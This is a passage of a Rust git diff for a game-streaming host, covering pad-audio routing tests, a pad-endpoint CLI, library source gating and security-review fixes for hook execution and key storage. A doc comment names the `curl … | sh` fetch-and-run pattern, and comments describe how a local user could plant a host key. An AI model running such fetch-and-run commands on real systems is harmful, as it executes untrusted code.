assert_eq!(
w.loopback_render.unwrap().0,
"Speakers (Apple Audio Device)"
@@ -488,7 +521,7 @@ mod tests {
ep("CABLE In 16ch (VB-Audio Virtual Cable)"),
];
for host_audio in [false, true] {
let w = plan(&renders, &[], None, host_audio);
let w = plan(&renders, &[], None, host_audio, &[]);
assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
}
}
@@ -500,7 +533,7 @@ mod tests {
fn headless_cable_only_mic_wins() {
let renders = [ep("CABLE Input (VB-Audio Virtual Cable)")];
let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert!(w.mic_render.is_some(), "mic must claim the only cable");
assert!(w.loopback_render.is_none(), "no echo-safe loopback exists");
}
@@ -518,7 +551,7 @@ mod tests {
ep("CABLE Output (VB-Audio Virtual Cable)"),
ep("Microphone (Steam Streaming Microphone)"),
];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert_eq!(
w.mic_render.unwrap().0,
"CABLE Input (VB-Audio Virtual Cable)"
@@ -546,7 +579,7 @@ mod tests {
ep("Speakers (Realtek HD Audio)"),
];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert_eq!(
w.mic_render.unwrap().0,
"Speakers (Steam Streaming Microphone)"
@@ -560,7 +593,7 @@ mod tests {
fn steam_mic_only_no_echo() {
let renders = [ep("Speakers (Steam Streaming Microphone)")];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert!(w.mic_render.is_some());
assert!(w.loopback_render.is_none());
}
@@ -576,7 +609,7 @@ mod tests {
ep("Speakers (Steam Streaming Speakers)"),
];
for host_audio in [false, true] {
let w = plan(&renders, &[], None, host_audio);
let w = plan(&renders, &[], None, host_audio, &[]);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Speakers (Steam Streaming Speakers)",
@@ -597,7 +630,7 @@ mod tests {
ep("Altavoces (Steam Streaming Microphone)"),
];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert_eq!(
w.mic_render.unwrap().0,
"Altavoces (Steam Streaming Microphone)"
@@ -620,7 +653,7 @@ mod tests {
];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
for host_audio in [false, true] {
let w = plan(&renders, &captures, None, host_audio);
let w = plan(&renders, &captures, None, host_audio, &[]);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Speakers (Realtek HD Audio)",
@@ -642,7 +675,7 @@ mod tests {
];
let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
for host_audio in [false, true] {
let w = plan(&renders, &captures, None, host_audio);
let w = plan(&renders, &captures, None, host_audio, &[]);
assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
assert!(!w.loopback_last_resort, "host_audio={host_audio}");
assert!(w.loopback_unsatisfiable(), "host_audio={host_audio}");
@@ -691,7 +724,7 @@ mod tests {
("steam streaming microphone", fmt(24_000, 1)),
("odyssey", fmt(48_000, 2)),
]);
let w = plan_with_formats(&renders, &captures, None, false, &p, 2);
let w = plan_with_formats(&renders, &captures, None, false, &p, 2, &[]);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"1 - Odyssey G60SD (AMD High Definition Audio Device)",
@@ -721,7 +754,7 @@ mod tests {
("steam streaming microphone", fmt(48_000, 2)),
("realtek", fmt(48_000, 2)),
]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2);
let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
assert_eq!(
w.loopback_render.unwrap().0,
"Speakers (Steam Streaming Microphone)"
@@ -737,7 +770,7 @@ mod tests {
ep("Speakers (Steam Streaming Microphone)"),
];
let p = probe(vec![("steam streaming microphone", fmt(16_000, 1))]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2);
let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Speakers (Steam Streaming Microphone)"
@@ -753,7 +786,7 @@ mod tests {
fn narrowing_is_reported_for_real_hardware_too() {
let renders = [ep("Headset (Hands-Free AG Audio)")];
let p = probe(vec![("headset", fmt(16_000, 1))]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2);
let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Headset (Hands-Free AG Audio)"
@@ -773,8 +806,8 @@ mod tests {
];
let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
for host_audio in [false, true] {
let a = plan(&renders, &captures, None, host_audio);
let b = plan_with_formats(&renders, &captures, None, host_audio, &no_formats, 2);
let a = plan(&renders, &captures, None, host_audio, &[]);
let b = plan_with_formats(&renders, &captures, None, host_audio, &no_formats, 2, &[]);
assert_eq!(a, b, "host_audio={host_audio}");
assert!(a.loopback_narrowing.is_none());
}
@@ -792,7 +825,7 @@ mod tests {
("steam streaming microphone", fmt(24_000, 1)),
("realtek", fmt(48_000, 2)),
]);
let w = plan_with_formats(&renders, &[], None, true, &p, 2);
let w = plan_with_formats(&renders, &[], None, true, &p, 2, &[]);
assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
}
@@ -820,7 +853,7 @@ mod tests {
ep("Voicemeeter Input (VB-Audio Voicemeeter VAIO)"),
];
let captures = [ep("Voicemeeter Out B1 (VB-Audio Voicemeeter VAIO)")];
let w = plan(&renders, &captures, Some("voicemeeter input"), false);
let w = plan(&renders, &captures, Some("voicemeeter input"), false, &[]);
assert_eq!(
w.mic_render.unwrap().0,
"Voicemeeter Input (VB-Audio Voicemeeter VAIO)"
@@ -836,7 +869,7 @@ mod tests {
#[test]
fn no_virtual_device() {
let renders = [ep("Speakers (Realtek HD Audio)")];
let w = plan(&renders, &[], None, false);
let w = plan(&renders, &[], None, false, &[]);
assert!(w.mic_render.is_none());
assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
}
@@ -854,7 +887,7 @@ mod tests {
];
let captures = [ep("Voicemeeter Out B1 (VB-Audio Voicemeeter VAIO)")];
for host_audio in [false, true] {
let w = plan(&renders, &captures, None, host_audio);
let w = plan(&renders, &captures, None, host_audio, &[]);
assert_eq!(
w.mic_render.as_ref().unwrap().0,
"Voicemeeter Input (VB-Audio Voicemeeter VAIO)",
@@ -877,7 +910,7 @@ mod tests {
ep("Voicemeeter Aux Input (VB-Audio Voicemeeter AUX VAIO)"),
];
for host_audio in [false, true] {
let w = plan(&renders, &[], None, host_audio);
let w = plan(&renders, &[], None, host_audio, &[]);
assert!(w.mic_render.is_some(), "host_audio={host_audio}");
assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
}
@@ -892,7 +925,7 @@ mod tests {
ep("CABLE Input (VB-Audio Virtual Cable)"),
ep("Speakers (Some Virtual Audio Device)"),
];
let w = plan(&renders, &[], None, false);
let w = plan(&renders, &[], None, false, &[]);
assert!(w.loopback_render.is_none());
}
@@ -918,7 +951,7 @@ mod tests {
// Field shape minus the Speakers (mic holds the Streaming Microphone, nothing else).
let renders = [ep("Altavoces (Steam Streaming Microphone)")];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert!(w.loopback_unsatisfiable());
let msg = describe_no_loopback(&renders, &w);
assert!(msg.contains("reserved for the virtual mic"), "{msg}");
@@ -929,10 +962,70 @@ mod tests {
// anyway), while the Steam pair is the remedy that adds a capturable sink.
let renders = [ep("CABLE Input (VB-Audio Virtual Cable)")];
let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
let w = plan(&renders, &captures, None, false);
let w = plan(&renders, &captures, None, false, &[]);
assert!(w.loopback_unsatisfiable());
let msg = describe_no_loopback(&renders, &w);
assert!(msg.contains("install Steam"), "{msg}");
assert!(!msg.contains("install VB-Audio Virtual Cable"), "{msg}");
}
/// A stamped pad endpoint is invisible to the plan. Its name carries NO virtual marker — on
/// purpose, games must read it as the pad's speaker — so the name rules alone would classify
/// it as real hardware and hand it the loopback; only the id exclusion prevents that.
/// Measured fact: the wiring plan on the target box already enumerated a stamped endpoint.
#[test]
fn pad_endpoints_invisible() {
let renders = [
ep("DualSense Wireless Controller"),
ep("Speakers (Realtek HD Audio)"),
];
let pads = [renders[0].1.clone()];
let w = plan(&renders, &[], None, false, &pads);
assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
// Even an operator mic override matching the pad's name must not claim it; with the
// pad as the only render endpoint there is honestly no mic target and no loopback.
let w = plan(
&renders[..1],
&[],
Some("wireless controller"),
false,
&pads,
);
assert!(w.mic_render.is_none());
assert!(w.loopback_render.is_none());
}
/// The exclusion has to survive the LAST RESORT tier, which this merge introduced alongside
/// pad audio. `last_resort` matches on the Steam-Speakers name, but it reads the same
/// shadowed `renders`, so a pad can never be reached through it either — otherwise the whole
/// desktop mix would be routed into the controller's voice coils.
#[test]
fn a_pad_is_never_the_last_resort() {
// Only the pad and the Steam pair exist; the mic reserves the Streaming Microphone, so
// the plan falls all the way through to the last resort.
let renders = [
ep("DualSense Wireless Controller"),
ep("Speakers (Steam Streaming Microphone)"),
ep("Speakers (Steam Streaming Speakers)"),
];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let pads = [renders[0].1.clone()];
let w = plan(&renders, &captures, None, false, &pads);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Speakers (Steam Streaming Speakers)",
"the last resort must skip the pad"
);
assert!(w.loopback_last_resort);
// …and with the pad as the ONLY candidate left, the plan stays honestly unsatisfiable
// rather than falling back onto the coils.
let w = plan(&renders[..1], &captures, None, false, &pads);
assert!(
w.loopback_render.is_none(),
"a pad was taken as the last resort"
);
assert!(!w.loopback_last_resort);
assert!(w.loopback_unsatisfiable());
}
}
+115
View File
@@ -384,6 +384,7 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
index: idx,
kind: 2,
capabilities: 0,
audio_caps: 0,
});
println!(
"virtual {} up — cycling Cross + sweeping the left stick for {secs}s. Watch \
@@ -430,6 +431,7 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
index: idx,
kind: 1,
capabilities: 0,
audio_caps: 0,
});
println!(
"virtual Xbox 360 (XUSB) up — sweeping LS + toggling A for {secs}s. Check with \
@@ -486,6 +488,119 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
Ok(())
}
/// Windows: pad-audio endpoint provisioning — `pad-endpoint ensure|remove|status [--index N]`.
/// `ensure` runs the idempotent startup path (reuse-or-create the devnode, bind the Steam
/// Streaming Speakers driver, stamp the DualSense identity + 4ch/48k formats, report whether
/// the stamps are SERVED); `status` prints the devnode/endpoint and per-stamp stored vs served
/// state without changing anything; `remove` deletes the devnode via pnputil — the escape
/// hatch only, endpoints are persistent by design. Stamping needs SYSTEM (the MMDevices ACL);
/// run `ensure` under the service account or PsExec when the property-store route is denied.
#[cfg(target_os = "windows")]
pub fn pad_endpoint(args: &[String]) -> Result<()> {
use crate::audio::pad_endpoint as pe;
let idx: u8 = args
.iter()
.skip_while(|a| *a != "--index")
.nth(1)
.and_then(|s| s.parse().ok())
.unwrap_or(0);
// `--endpoint <id>` drives ANY render endpoint, not just a provisioned pad one. It is the
// discriminator between "this process cannot activate anything" and "our endpoint is broken":
// aim the same binary at a known-good endpoint and see whether it succeeds there.
let endpoint_override: Option<String> = args
.iter()
.skip_while(|a| *a != "--endpoint")
.nth(1)
.cloned();
match args.get(1).map(String::as_str) {
Some("ensure") => {
let p = pe::ensure(idx)?;
println!(
"pad-endpoint ensure: pad {} devnode {} endpoint {} needs_aeb_kick={}",
p.pad_index, p.device_instance, p.endpoint_id, p.needs_aeb_kick
);
Ok(())
}
Some("remove") => match pe::find(idx)? {
Some(p) => {
pe::remove(&p);
println!(
"pad-endpoint remove: requested removal of {}",
p.device_instance
);
Ok(())
}
None => {
println!("pad-endpoint remove: no pad-audio devnode for index {idx}");
Ok(())
}
},
// `punktfunk-host pad-endpoint <n> tone [seconds] [hz]` — drive the endpoint directly so
// the whole pad-audio chain can be exercised without a game. Without this, every attempt
// costs a game launch and a failure does not say which link broke.
Some("tone") => {
let secs: u32 = args.get(2).and_then(|s| s.parse().ok()).unwrap_or(5);
let hz: f32 = args.get(3).and_then(|s| s.parse().ok()).unwrap_or(60.0);
let endpoint_id = match endpoint_override {
Some(id) => id,
None => {
// `find` (a system lookup), NOT `endpoint_for` (the service's in-process
// cache): this runs as a separate CLI process and has no cache of its own.
let Some(ep) = pe::find(idx)? else {
println!(
"pad-endpoint tone: no pad-audio devnode for pad {idx} — run \
`ensure` first"
);
return Ok(());
};
if ep.endpoint_id.is_empty() {
println!("pad-endpoint tone: pad {idx} has no endpoint id yet");
return Ok(());
}
ep.endpoint_id
}
};
// `--pair front` drives the pad's SPEAKER instead of the voice coils — the only way to
// exercise the speaker kind without a game that renders one.
let pair = args
.iter()
.skip_while(|a| *a != "--pair")
.nth(1)
.map_or(pe::TonePair::Back, |s| pe::TonePair::parse(s));
println!(
"pad-endpoint tone: {hz} Hz into the {} of {endpoint_id} for {secs}s",
pair.label()
);
pe::render_test_tone(&endpoint_id, secs, hz, pair)?;
println!(
"pad-endpoint tone: done. A connected client with pad audio enabled should have \
buzzed; the host log shows whether the gate opened."
);
Ok(())
}
// `punktfunk-host pad-endpoint capture [seconds]` — the receiving half of `tone`. Run
// both at once to exercise render -> engine -> loopback -> pair routing with no game and
// no client attached.
Some("capture") => {
let secs: u32 = args.get(2).and_then(|s| s.parse().ok()).unwrap_or(5);
let endpoint_id = match endpoint_override {
Some(id) => id,
None => match pe::find(idx)? {
Some(ep) if !ep.endpoint_id.is_empty() => ep.endpoint_id,
_ => {
println!("pad-endpoint capture: pad {idx} has no endpoint — run `ensure`");
return Ok(());
}
},
};
println!("pad-endpoint capture: listening on {endpoint_id} for {secs}s");
pe::capture_probe(&endpoint_id, secs)
}
Some("status") => pe::print_status(idx),
_ => anyhow::bail!("usage: punktfunk-host pad-endpoint <ensure|remove|status> [--index N]"),
}
}
/// Mirror a physical monitor and pull frames from it — the on-glass gate for per-monitor capture
/// (`design/per-monitor-portal-capture.md` P2/P3), without needing a client to connect.
///
@@ -245,6 +245,19 @@ mod tests {
}
}
/// The migration invariant D2 exists to protect. Moonlight caches app ids (and users pin them),
/// and the id is derived from the LIBRARY ID alone — so a title moving from the in-host scanner
/// to a claimed plugin entry keeps its GameStream id iff the library id is byte-identical. This
/// pins that the claimed shape is that shape, and that an unclaimed one would NOT have been.
#[test]
fn a_claimed_plugin_entry_keeps_the_scanners_gamestream_id() {
// What the built-in scanner produced, and what the steam plugin produces once it claims.
assert_eq!(stable_app_id("steam:440"), stable_app_id("steam:440"));
// The same title reconciled WITHOUT a claim gets an opaque `custom:` id — a different app
// id, i.e. exactly the breakage the claim prevents.
assert_ne!(stable_app_id("steam:440"), stable_app_id("custom:9f2c1a"));
}
#[test]
fn append_library_dedups_against_base_ids() {
// A base app whose id happens to fall in the library range must not be clobbered by a library
+10 -2
View File
@@ -26,6 +26,14 @@ impl ServerIdentity {
let dir = config_dir();
let cert_path = dir.join("cert.pem");
let key_path = dir.join("key.pem");
// Harden the directory BEFORE the first read, not only in the branch that generates a new
// identity (2026-08-05 review M-1). Reading first is what made the hardening pointless
// against the attack it was written for: combined with H-4's pre-creatable
// `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted
// verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and
// the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent:
// this function never regenerates while both files are non-empty.
pf_paths::create_private_dir(&dir).ok();
let (cert_pem, key_pem) = match (
fs::read_to_string(&cert_path),
fs::read_to_string(&key_path),
@@ -35,8 +43,8 @@ impl ServerIdentity {
let (c, k) = generate()?;
// The private key is the trust root for EVERY surface (TLS server cert, pairing
// signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only
// DACL) so a local user can't read it and impersonate the host. The dir is 0700.
pf_paths::create_private_dir(&dir).ok();
// DACL) so a local user can't read it and impersonate the host. The dir is already
// 0700 / SYSTEM+Admins from the unconditional hardening above.
pf_paths::write_secret_file(&key_path, k.as_bytes())
.with_context(|| format!("write {}", key_path.display()))?;
// The cert is public (handed to clients), but write it owner-only too for consistency.
@@ -65,6 +65,8 @@ pub fn decode(plaintext: &[u8]) -> Option<GamepadEvent> {
index: *b.first()?,
kind: *b.get(1)?,
capabilities: le16(2)? as u16,
// GameStream's LI_CCAP vocabulary can't express pad audio — native-plane only.
audio_caps: 0,
}),
_ => None,
}
@@ -138,6 +140,7 @@ mod tests {
index,
kind,
capabilities,
..
}) = decode(&wrap(MAGIC_CONTROLLER_ARRIVAL, &body))
else {
panic!("expected Arrival");
+133 -27
View File
@@ -432,44 +432,124 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> {
out
}
/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing
/// file, refuse to run it unless it is owned by the host user (or root) and not
/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare
/// command name (`systemctl`, `curl`) is left to PATH.
/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which
/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook
/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH.
///
/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it
/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and
/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c '<anything>'` passes because
/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host
/// user — which is why writing them is admin-only. A pass here does not mean "this command is
/// safe", and nothing should be granted on the strength of it.
///
/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only
/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted
/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not,
/// which is backwards: the script is the part an attacker can plant.
#[cfg(unix)]
fn exec_path_check(cmd: &str) -> Result<(), String> {
use std::os::unix::fs::MetadataExt;
let Some(first) = cmd.split_whitespace().next() else {
if cmd.split_whitespace().next().is_none() {
return Err("empty command".into());
};
if !first.starts_with('/') {
return Ok(());
}
let meta = match std::fs::metadata(first) {
Ok(m) => m,
Err(_) => return Ok(()), // not an existing file — the shell will report it
};
if !meta.is_file() {
return Ok(());
}
// SAFETY: geteuid has no preconditions and touches no memory.
let euid = unsafe { libc::geteuid() };
if meta.uid() != euid && meta.uid() != 0 {
return Err(format!(
"{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
owned by the operator or root",
meta.uid()
));
}
if meta.mode() & 0o022 != 0 {
return Err(format!(
"{first} is group/world-writable (mode {:o}) — chmod go-w it first",
meta.mode() & 0o7777
));
for raw in cmd.split_whitespace() {
// Tolerate the quoting a hand-written command line carries — a path that is absolute only
// after unquoting is exactly as plantable as a bare one.
let token = raw.trim_matches(|c| c == '"' || c == '\'');
if !token.starts_with('/') {
continue;
}
let meta = match std::fs::metadata(token) {
Ok(m) => m,
Err(_) => continue, // not an existing file — the shell will report it
};
if !meta.is_file() {
continue;
}
if meta.uid() != euid && meta.uid() != 0 {
return Err(format!(
"{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
owned by the operator or root",
meta.uid()
));
}
if meta.mode() & 0o022 != 0 {
return Err(format!(
"{token} is group/world-writable (mode {:o}) — chmod go-w it first",
meta.mode() & 0o7777
));
}
}
Ok(())
}
/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service
/// rather than as the operator's own console process.
///
/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the
/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids
/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the
/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction
/// it is a SYSTEM command.
#[cfg(windows)]
fn running_as_system() -> bool {
use windows::Win32::Foundation::HANDLE;
use windows::Win32::Security::{
CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID,
SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER,
};
use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken};
let mut token = HANDLE::default();
// SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param.
if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() {
return true; // fail closed
}
let mut buf = [0u8; 256];
let mut len = 0u32;
// SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param.
let got = unsafe {
GetTokenInformation(
token,
TokenUser,
Some(buf.as_mut_ptr().cast()),
buf.len() as u32,
&mut len,
)
};
// SAFETY: the token handle came from OpenProcessToken and is not used after this.
unsafe {
let _ = windows::Win32::Foundation::CloseHandle(token);
}
if got.is_err() {
return true; // fail closed
}
let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize];
let mut cb = system.len() as u32;
// SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size.
if unsafe {
CreateWellKnownSid(
WinLocalSystemSid,
None,
Some(PSID(system.as_mut_ptr().cast())),
&mut cb,
)
}
.is_err()
{
return true; // fail closed
}
// SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into
// the same buffer, and both SIDs are valid for this comparison.
unsafe {
let tu = &*(buf.as_ptr() as *const TOKEN_USER);
EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok()
}
}
#[cfg(not(unix))]
fn exec_path_check(_cmd: &str) -> Result<(), String> {
// Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in
@@ -580,7 +660,33 @@ fn run_hook_process(
// report "ran" (prep `undo`s stay armed).
true
}
Err(e) if running_as_system() => {
// NO in-process fallback when we are SYSTEM.
//
// `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at
// boot, on a logged-off box — and the fallback below then ran the operator's command
// line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is
// LocalSystem, so a hook the module contract promises runs "in the interactive session,
// never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching
// the screen, with no ownership check on the script (`exec_path_check` is a no-op on
// Windows) — 2026-08-05 review L-13.
//
// Refusing is the honest behaviour: the contract says these run as the user, and if
// there is no user there is nothing to run them as. A hook that must run without a
// logged-in user belongs in a service, not here.
tracing::warn!(
cmd = %cmd,
error = %format!("{e:#}"),
"hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \
hooks run as the logged-in user by design and are never elevated to SYSTEM"
);
let _ = std::fs::remove_file(&json_path);
false
}
Err(e) => {
// Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running
// in-process is the same privilege the operator already has, which is the whole trust
// model for hooks.
tracing::debug!(error = %format!("{e:#}"),
"interactive-session spawn unavailable — running hook in-console");
let mut ok = false;
+54 -6
View File
@@ -15,7 +15,7 @@
pub(crate) use anyhow::{Context, Result};
pub(crate) use serde::{Deserialize, Serialize};
pub(crate) use sha2::{Digest, Sha256};
pub(crate) use std::collections::HashSet;
pub(crate) use std::collections::{BTreeMap, HashSet};
pub(crate) use std::path::{Path, PathBuf};
pub(crate) use std::time::{SystemTime, UNIX_EPOCH};
pub(crate) use utoipa::ToSchema;
@@ -136,6 +136,29 @@ impl GameMeta {
}
}
/// What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big
/// Picture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,
/// leases and lists exactly like a game (design D4), and clients that don't know the field render it
/// as a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged
/// for every entry that doesn't opt in.
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, ToSchema)]
#[serde(rename_all = "lowercase")]
pub enum GameRole {
/// An ordinary title.
#[default]
Game,
/// The launcher application itself.
Launcher,
}
impl GameRole {
/// Whether this is the serde default (`game`) — the `skip_serializing_if` predicate that keeps
/// the field off the wire for the overwhelming majority of entries.
pub(crate) fn is_game(&self) -> bool {
matches!(self, Self::Game)
}
}
/// One title in the unified library, regardless of which store it came from.
#[derive(Clone, Debug, Serialize, ToSchema)]
pub struct GameEntry {
@@ -147,6 +170,9 @@ pub struct GameEntry {
pub store: String,
pub title: String,
pub art: Artwork,
/// Whether this entry is a game or the launcher itself — see [`GameRole`].
#[serde(default, skip_serializing_if = "GameRole::is_game")]
pub role: GameRole,
/// How the host would launch it, when known.
#[serde(skip_serializing_if = "Option::is_none")]
pub launch: Option<LaunchSpec>,
@@ -228,12 +254,26 @@ impl ArtKind {
}
}
/// The full library: every *enabled* store's titles merged + the custom entries, sorted by title.
/// The operator's scanner toggles (`scanners.rs`) gate each installed-store provider; the custom
/// store is not a scanner and always contributes.
/// The full library: every *enabled* source's titles merged + the custom entries, sorted by title.
///
/// Two independent gates run here, both at READ time so neither ever mutates stored state:
///
/// * **The operator's source toggles** (`scanners.rs`, persisted as a disabled-set in
/// `library-scanners.json`) hide a source's titles from every surface — this grid, native clients,
/// `/applist`, and launch resolution. They apply to built-in scanners *and* to plugin sources,
/// which is what lets one toggle keep working verbatim across the whole migration: the ids match
/// (provider id = claimed store id = old scanner id).
/// * **Store claims** (D2): while a library plugin holds a store's claim, the matching built-in
/// scanner is skipped so the two never double-list the same titles during the bridge releases.
/// Removing the plugin releases the claim and the built-in comes straight back.
///
/// The user-curated custom store is not a source and always contributes.
pub fn all_games() -> Vec<GameEntry> {
let off = disabled_scanners();
let on = |id: &str| !off.contains(id);
let claimed = claimed_stores();
// A built-in scanner runs when the operator hasn't disabled it AND no plugin has claimed its
// store out from under it.
let on = |id: &str| !off.contains(id) && !claimed.contains_key(id);
let mut games = Vec::new();
if on("steam") {
games.extend(SteamProvider.list());
@@ -262,7 +302,15 @@ pub fn all_games() -> Vec<GameEntry> {
games.extend(XboxProvider.list());
}
}
games.extend(load_custom().into_iter().map(GameEntry::from));
// Stored entries: manual ones always contribute; a provider's are subject to the same source
// toggle a built-in scanner is (WP2.6). The plugin may keep reconciling while it is off — the
// entries stay stored and simply aren't surfaced, exactly like a disabled scanner's titles.
games.extend(
load_custom()
.into_iter()
.filter(|e| !source_id_for(e).is_some_and(|src| off.contains(src)))
.map(GameEntry::from),
);
games.sort_by_key(|g| g.title.to_lowercase());
games
}
+491 -35
View File
@@ -147,45 +147,275 @@ pub(crate) fn fetch_image(url: &str) -> Option<(Vec<u8>, String)> {
/// A stored [`Artwork`] value that is a **local filesystem path** to an image on the host — as
/// opposed to an `http(s)`/`data:` URL or an already-relative host proxy path. Provider plugins that
/// run on the host (e.g. the Playnite sync plugin) set these: the reconcile payload stays tiny
/// (paths, not inlined bytes, so it scales to thousands of titles) and the host serves the bytes
/// through the art proxy, exactly like Steam's cache art. Windows-shaped only (`C:\…`, `C:/…`, or a
/// `\\server\share` UNC) — Playnite, the only local-art provider, is Windows-only, and this keeps the
/// check from ever mistaking the `/api/…` proxy path (or a POSIX abs path) for a local file.
/// run on the host (the Playnite sync plugin, and every library scanner plugin) set these: the
/// reconcile payload stays tiny (paths, not inlined bytes, so it scales to thousands of titles) and
/// the host serves the bytes through the art proxy, exactly like Steam's cache art.
///
/// Four accepted shapes:
/// * `file://…` — the **documented plugin contract** ([`file_url_to_path`]), unambiguous on every
/// platform, and what `@punktfunk/plugin-kit/library` emits.
/// * `C:\…` / `C:/…` drive-absolute and `\\server\share` UNC — Windows bare paths, kept for
/// Playnite back-compat (it predates the `file://` contract).
/// * POSIX absolute (`/home/u/covers/x.jpg`) — Lutris covers and Steam's `librarycache`.
///
/// The POSIX widening is why the two `/`-leading shapes the **host itself emits** must be excluded
/// explicitly: its own art-proxy path (`/api/v1/library/art/…`, which [`proxy_local_art`] writes and
/// which must survive a second pass unchanged) and a protocol-relative URL (`//cdn/…`, what GOG's and
/// Microsoft's catalogs return — see [`abs_url`]). Mistaking either for a file would break the proxy
/// round-trip or silently drop CDN art.
pub fn is_local_art_path(v: &str) -> bool {
if v.starts_with("http://") || v.starts_with("https://") || v.starts_with("data:") {
return false;
}
if v.starts_with("file://") {
return true;
}
let b = v.as_bytes();
(b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\")
// Windows drive-absolute (`C:\…`, `C:/…`) or UNC (`\\server\share`).
if (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") {
return true;
}
// POSIX absolute, minus the host's own `/`-leading shapes (see the doc comment).
v.starts_with('/') && !v.starts_with("//") && !v.starts_with("/api/")
}
/// Turn a `file://` art value into a plain filesystem path, percent-decoding it. The kit emits
/// properly encoded URLs (`file:///home/u/My%20Cover.jpg`); a raw path that happens to contain no
/// `%` round-trips either way, which keeps hand-written plugin payloads working.
///
/// `file:///home/u/c.jpg` → `/home/u/c.jpg`; `file:///C:/covers/c.jpg` → `C:/covers/c.jpg` (Windows
/// drive letters arrive after the empty authority's slash); a NON-empty authority
/// (`file://nas/share/c.jpg`) is a UNC reference → `\\nas\share\c.jpg`. Anything without the prefix
/// is returned untouched.
fn file_url_to_path(v: &str) -> std::borrow::Cow<'_, str> {
use std::borrow::Cow;
let Some(rest) = v.strip_prefix("file://") else {
return Cow::Borrowed(v);
};
let decoded = percent_decode(rest);
match decoded.strip_prefix('/') {
